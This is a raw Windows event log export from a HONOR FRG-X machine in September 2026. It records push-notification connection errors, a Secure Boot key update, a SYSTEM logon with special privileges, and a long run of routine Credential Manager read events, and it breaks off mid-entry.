08:33:46.767\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:33:55.532\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:33:55.532\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:33:55.533\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:33:55.533\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:33:59.123\t1808\t\"This device has updated Secure Boot CA/keys. This device signature information is included here.\nDeviceAttributes: BaseBoardManufacturer:HONOR;OEMModelNumber:FRG-X;OEMModelBaseBoard:FRG-X-PCB;OEMManufacturerName:HONOR;FirmwareVersion:2.03;OSArchitecture:amd64;\nBucketId: 2b1354b7771d78c79e9e89aa0f38e845e4df59f22f64c8dd0ede9c278c781587\nBucketConfidenceLevel: High Confidence\nUpdateType: Windows UEFI CA 2023 (DB), Option ROM CA 2023 (DB), 3P UEFI CA 2023 (DB), KEK 2023, Boot Manager (2023)\nFor more information, please see https://go.microsoft.com/fwlink/?linkid=2301018.\"\tInformation\tSystem\tMicrosoft-Windows-TPM-WMI\n05.09.2026 08:33:59.223\t8001\t\"Skipping license manager: PFN Microsoft.WindowsFeedbackHub_2.2606.702.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:34:04.296\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:34:04.296\t1213\tWNP Transport Layer proxy connection initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:34:04.296\t1215\tWNP Transport Layer proxy negotiation initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:34:04.304\t1216\tWNP Transport Layer proxy negotiation completed for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:34:05.474\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:05.474\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:05.507\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:05.508\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:05.508\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:05.509\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:05.509\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:05.509\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:05.511\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:05.512\t59\tRpcGetCurrentSessionCapabilities from C:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s wlidsvc( #0x0/0x18280 )\tInformation\tMicrosoft-Windows-TerminalServices-LocalSessionManager/Operational\tMicrosoft-Windows-TerminalServices-LocalSessionManager\n05.09.2026 08:34:05.513\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:05.513\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:05.513\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:05.563\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.413\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.414\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.414\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.414\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.414\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.414\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.414\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.414\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.415\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.415\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.415\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.415\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.415\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.415\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.415\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.416\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tRead Credential\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.420\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.421\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.421\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.421\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.421\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.421\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.421\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.421\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.422\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.422\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.422\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.422\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.422\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.425\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.425\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.426\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.426\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.426\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.426\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.426\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.426\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.426\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.427\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:06.427\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity 